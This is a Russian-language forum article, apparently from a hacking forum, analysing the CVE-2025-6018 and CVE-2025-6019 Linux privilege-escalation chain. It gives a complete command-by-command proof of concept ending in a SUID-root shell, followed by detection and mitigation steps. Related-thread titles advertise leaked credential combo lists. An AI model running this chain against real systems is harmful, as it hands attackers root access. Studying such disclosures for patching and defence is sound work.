Статья CVE-2025-6018 и CVE-2025-6019: подробный технический анализ цепочки локальной эскалации привилегий в Linux

Admin

Администратор
Введение

В июне 2025 года исследователи Qualys Threat Research Unit (TRU) раскрыли две критически важные уязвимости локальной эскалации привилегий (LPE), которые могут использоваться в связке для получения полного root-доступа в большинстве дистрибутивов Linux.

КРИТИЧЕСКИЕ УЯЗВИМОСТИ:
  • CVE-2025-6018: Позволяют непривилегированному пользователю (например, через SSH) получить права "allow_active" физического пользователя
  • CVE-2025-6019: Позволяют пользователю с правами "allow_active" эскалировать до полного root-доступа




Технические детали CVE-2025-6018

Описание уязвимости


CVE-2025-6018 представляет собой локальную эскалацию привилегий в конфигурации PAM (Pluggable Authentication Modules) систем openSUSE Leap 15 и SUSE Linux Enterprise 15. Уязвимость позволяет непривилегированному локальному атакующему, подключающемуся через SSH, получить привилегии физического пользователя "allow_active".

Корневая причина:

Проблема заключается в неправильной последовательности обработки модулей PAM:

  1. pam_env модуль (из Linux-PAM 1.3.0) читает файл ~/.pam_environment пользователя по умолчанию
  2. Опция конфигурации "user_readenv" установлена в 1 по умолчанию
  3. pam_env вызывается первым через do_pam_setcred() как часть стека "auth" из /etc/pam.d/common-auth
  4. pam_systemd вызывается позже через do_pam_session() как часть стека "session" из /etc/pam.d/common-session

Механизм эксплуатации

Атакующий может принудительно заставить модуль pam_env добавить произвольные переменные в окружение PAM, записав их в ~/.pam_environment. Эти переменные затем возвращаются модулю pam_systemd через pam_getenv().

Критически важными переменными являются:
  • XDG_SEAT: Определяет место (seat) пользователя
  • XDG_VTNR: Определяет номер виртуального терминала

Proof of Concept для CVE-2025-6018

Код:
# Подключение к целевой системе
attacker# ssh -i id_ed25519 nobody@victim

# Проверка текущего статуса (должен вернуть 'challenge')
victim> gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
('challenge',)

# Создание файла .pam_environment с подделанными переменными
victim> { echo 'XDG_SEAT OVERRIDE=seat0'; echo 'XDG_VTNR OVERRIDE=1'; } > .pam_environment

# Выход и повторное подключение
victim> exit
attacker# ssh -i id_ed25519 nobody@victim

# Проверка нового статуса (теперь должен вернуть 'yes')
victim> gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
('yes',)

Анализ кода

В конфигурации PAM для SUSE системы последовательность выглядит следующим образом:


Код:
/etc/pam.d/common-auth:
auth    required    pam_env.so user_readenv=1

/etc/pam.d/common-session:
session required    pam_systemd.so

Когда pam_systemd вызывает pam_getenv() для переменных XDG_SEAT и XDG_VTNR, он получает значения, установленные атакующим через pam_env из файла ~/.pam_environment.




Технические детали CVE-2025-6019

Описание уязвимости


CVE-2025-6019 - это локальная эскалация привилегий в libblockdev, эксплуатируемая через демон udisks. Уязвимость позволяет пользователю с правами "allow_active" получить полные привилегии root.

Корневая причина:

Проблема заключается в том, что при изменении размера XFS файловой системы:

  1. Демон udisks вызывает libblockdev
  2. libblockdev временно монтирует XFS файловую систему в /tmp
  3. КРИТИЧЕСКАЯ ОШИБКА: Монтирование происходит БЕЗ флагов nosuid и nodev
  4. Это позволяет выполнение SUID бинарных файлов с повышенными привилегиями

Механизм эксплуатации

Атакующий с правами "allow_active" может:

  1. Создать XFS образ, содержащий SUID-root shell
  2. Настроить loop-устройство с этим образом
  3. Запросить у udisks изменение размера XFS файловой системы
  4. libblockdev смонтирует файловую систему в /tmp без защитных флагов
  5. Выполнить SUID-root shell и получить полные права root

Детальный Proof of Concept для CVE-2025-6019

Шаг 1: Создание вредоносного XFS образа


Код:
# На машине атакующего как root
attacker# dd if=/dev/zero of=./xfs.image bs=1M count=300
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied

attacker# mkfs.xfs ./xfs.image
meta-data=./xfs.image            isize=512    agcount=4, agsize=19200 blks
=                       sectsz=512   attr=2, projid32bit=1
=                       crc=1        finobt=1, sparse=1, rmapbt=0
=                       reflink=1

attacker# mkdir ./xfs.mount
attacker# mount -t xfs ./xfs.image ./xfs.mount

# Создание SUID-root shell
attacker# cp /bin/bash ./xfs.mount/
attacker# chmod 04555 ./xfs.mount/bash
attacker# ls -la ./xfs.mount/bash
-r-sr-xr-x. 1 root root 1406608 Jun 17 09:42 ./xfs.mount/bash

attacker# umount ./xfs.mount
attacker# scp -i id_ed25519 ./xfs.image nobody@victim:

Шаг 2: Подготовка на целевой системе

Код:
# Подключение к жертве и проверка статуса allow_active
attacker# ssh -i id_ed25519 nobody@victim
victim> gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
('yes',)  # Подтверждение статуса allow_active

# Остановка gvfs-udisks2-volume-monitor для предотвращения автомонтирования
victim> killall -KILL gvfs-udisks2-volume-monitor

# Настройка loop устройства
victim> udisksctl loop-setup --file ./xfs.image --no-user-interaction
Mapped file ./xfs.image as /dev/loop0.

Шаг 3: Эксплуатация через resize операцию

Код:
# Запуск фонового процесса для поддержания файловой системы в занятом состоянии
victim> while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &

# Запрос на изменение размера XFS (это вызовет libblockdev)
victim> gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop0: Failed to unmount '/dev/loop0' after resizing it: target is busy

# КРИТИЧЕСКИЙ МОМЕНТ: SUID shell теперь доступен в /tmp
-r-sr-xr-x. 1 root root 1406608 Jun 17 09:42 /tmp/blockdev.RSM842/bash

Шаг 4: Получение root доступа

Код:
# Проверка монтирования
victim> mount | grep loop0
/dev/loop0 on /tmp/blockdev.RSM842 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)

# ЭСКАЛАЦИЯ ДО ROOT!
victim> /tmp/blockdev*/bash -p
victim# id
uid=65534(nobody) gid=65534(nobody) euid=0(root) groups=65534(nobody)
^^^^^^^^^^^




Анализ цепочки эксплуатации

Полная цепочка атаки



Код:
1. SSH подключение как непривилегированный пользователь
↓
2. CVE-2025-6018: Создание ~/.pam_environment с XDG_SEAT=seat0 и XDG_VTNR=1
↓
3. Повторное подключение → получение статуса "allow_active"
↓
4. CVE-2025-6019: Создание XFS образа с SUID-root shell
↓
5. Настройка loop устройства
↓
6. Вызов udisks resize → libblockdev монтирует без nosuid/nodev
↓
7. Выполнение SUID shell → ПОЛНЫЙ ROOT ДОСТУП

Код анализ libblockdev

Проблемная часть кода в libblockdev при обработке XFS resize:

Код:
// Упрощенный псевдокод проблемной функции
int bd_fs_xfs_resize(const gchar *device, const gchar *new_size) {
gchar *mountpoint;

// Создание временной точки монтирования
mountpoint = g_strdup_printf("/tmp/blockdev.%s", random_string);

// ПРОБЛЕМА: Монтирование БЕЗ nosuid и nodev флагов
if (mount(device, mountpoint, "xfs", 0, NULL) != 0) {
return FALSE;
}

// Выполнение xfs_growfs
execute_xfs_growfs(mountpoint, new_size);

// Попытка размонтирования (может завершиться неудачей)
umount(mountpoint);

return TRUE;
}




Затронутые системы

Непосредственно уязвимые

  • openSUSE Leap 15 (все версии)
  • SUSE Linux Enterprise 15 (все версии)

Системы, подверженные CVE-2025-6019
  • Ubuntu (все поддерживаемые версии)
  • Debian (все поддерживаемые версии)
  • Fedora (все текущие версии)
  • Red Hat Enterprise Linux
  • CentOS/AlmaLinux/Rocky Linux
  • Практически все дистрибутивы с udisks по умолчанию

Проверка уязвимости

Код:
# Проверка наличия udisks2
systemctl status udisks2

# Проверка версии libblockdev
dpkg -l | grep libblockdev          # Debian/Ubuntu
rpm -qa | grep libblockdev          # RHEL/SUSE/Fedora

# Проверка PAM конфигурации (для CVE-2025-6018)
grep -r "user_readenv" /etc/pam.d/
grep -r "pam_env.so" /etc/pam.d/




Меры защиты и митигация

Немедленные действия

1. Применение патчей

Код:
# SUSE
sudo zypper update pam libblockdev udisks2

# Ubuntu/Debian
sudo apt update && sudo apt upgrade libblockdev0 udisks2 libpam-modules

# RHEL/Fedora
sudo dnf update pam libblockdev udisks2

2. Временная митигация для CVE-2025-6018
Код:
# Отключение user_readenv в PAM конфигурации
sudo sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
sudo sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/sshd

3. Временная митигация для CVE-2025-6019
Код:
# Изменение polkit правила для udisks
sudo tee /etc/polkit-1/rules.d/99-udisks-secure.rules << 'EOF'
polkit.addRule(function(action, subject) {
if (action.id == "org.freedesktop.udisks2.modify-device") {
return polkit.Result.AUTH_ADMIN;
}
});
EOF

Долгосрочные решения

  • Аудит PAM конфигураций
  • Реализация принципа минимальных привилегий
  • Мониторинг подозрительной активности
  • Регулярное обновление систем




CVSS оценки и влияние

  • CVE-2025-6018: CVSS 3.1 Base Score: 7.8 (High)
  • CVE-2025-6019: CVSS 3.1 Base Score: 7.8 (High)
  • Цепочка: Эффективный CVSS: 9.0+ (Critical)




Заключение

Данная цепочка уязвимостей демонстрирует, как кажущиеся незначительными конфигурационные проблемы могут привести к полному компромиссу системы. Особенно критично то, что:

  • Эксплуатация не требует экзотических техник
  • Все компоненты установлены по умолчанию
  • Атака может выполняться удаленно через SSH
  • Процесс эскалации занимает секунды
 
Похожие темы
Admin Статья Анализ CVE-2019-2215 (/dev/binder UAF) Вирусология 0
Support81 3 CVE + 1 руткит = китайцы за 4 месяца обчистили пол-Европы Новости в сети 0
Support81 Мечта хакеров: как CVE-2024-52875 стала идеальным инструментом для кибератак Новости в сети 0
Support81 CVE-2024-38217: почему 0day в Windows не могли обнаружить целых 6 лет? Новости в сети 0
Support81 CVE-2024-4577 в PHP: вымогательское ПО TellYouThePass захватывает серверы по всему миру Новости в сети 0
Support81 10 из 10: В Linux обнаружен встроенный бэкдор (CVE-2024-3094) Новости в сети 0
Emilio_Gaviriya Статья CVE: Подборка ресурсов по поиску уязвимостей. Уязвимости и взлом 0
1 CVE-2017-0199 Готовый софт 0
G Уязвимость Microsoft Office CVE-2017-8570 Уязвимости и взлом 0
G CVE-2017-11882 или Взлом с помощью безобидного документа Полезные статьи 2
TarasGyska VMware Escape Exploit, CVE-2017-4901 Уязвимости и взлом 0
Admin Тестирования уязвимости в продукции Microsoft Office - CVE-2017-0199 Уязвимости и взлом 0
P CUPS Remote Code Execution exploit (CVE-2015-1158) Уязвимости и взлом 0
Admin Статья Освоение OSINT в 2025 году: образ мышления, инструменты. OSINT 0
Admin Статья Как оставаться незаметным в 2025 году – простые правила оперативной безопасности для всех. Анонимность и приватность 0
Admin Статья HTTP Request Smuggling в 2025: Как обходить современные WAF Уязвимости и взлом 0
Admin Интересно 3 признака того, что ваши данные уже проданы: уроки великих утечек 2025 года. Новости в сети 0
Admin Статья Полная шпаргалка Google Дорков 2025. OSINT 0
ValidMail Интересно x182 Configs Openbullet, Openbullet 2, SilverBullet | October-November 2025 Готовый софт 0
U 100304 lines - GMAIL MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 100300 lines - GMAIL MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 100019 lines - GMAIL MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
Support81 43% роста, 965 Гбит/с и почти 100 часов давления: что происходит с L3-L4 атаками в 2025 Новости в сети 0
U 100007 lines - GMAIL MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 10143 lines - EDU MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 10125 lines - EDU MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 10119 lines - EDU MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 10082 lines - EDU MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 10068 lines - EDU MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 10064 lines - EDU MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 72048 lines - HOTMAIL MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 71798 lines - HOTMAIL MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
ValidMail Интересно x159+ Configs Openbullet, Openbullet 2, SilverBullet 31/07/2025 Готовый софт 0
U 71733 lines - HOTMAIL MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 71505 lines - HOTMAIL MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 71406 lines - HOTMAIL MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 70837 lines - HOTMAIL MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 70806 lines - HOTMAIL MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 10059 lines - EDU MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 10057 lines - EDU MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 10024 lines - EDU MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 54836 lines - CORPS MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 53731 lines - CORPS MAIL 2025 UNIQUE-COMBO Раздачи и сливы 1
U 53689 lines - CORPS MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
U 52643 lines - CORPS MAIL 2025 UNIQUE-COMBO Раздачи и сливы 0
Support81 2025: год, когда крипту стали выбивать из людей. Буквально Новости в сети 0
wrangler65 Интересно Как МВД России ищет киберпреступников и как оставаться анонимным в 2025 Анонимность и приватность 0
wrangler65 Обход sms уведомлений и вход в лк: Cовременные методы работы с брут ба 2025 Все остальное 0
B [2.706.439] ☣️Lines Leak 2025 Good for Access Раздачи и сливы 0
ValidMail ♋ 204k CLEANED MAIL WITH VALID MIX 29/05/2025 ♋ Раздачи и сливы 0

Название темы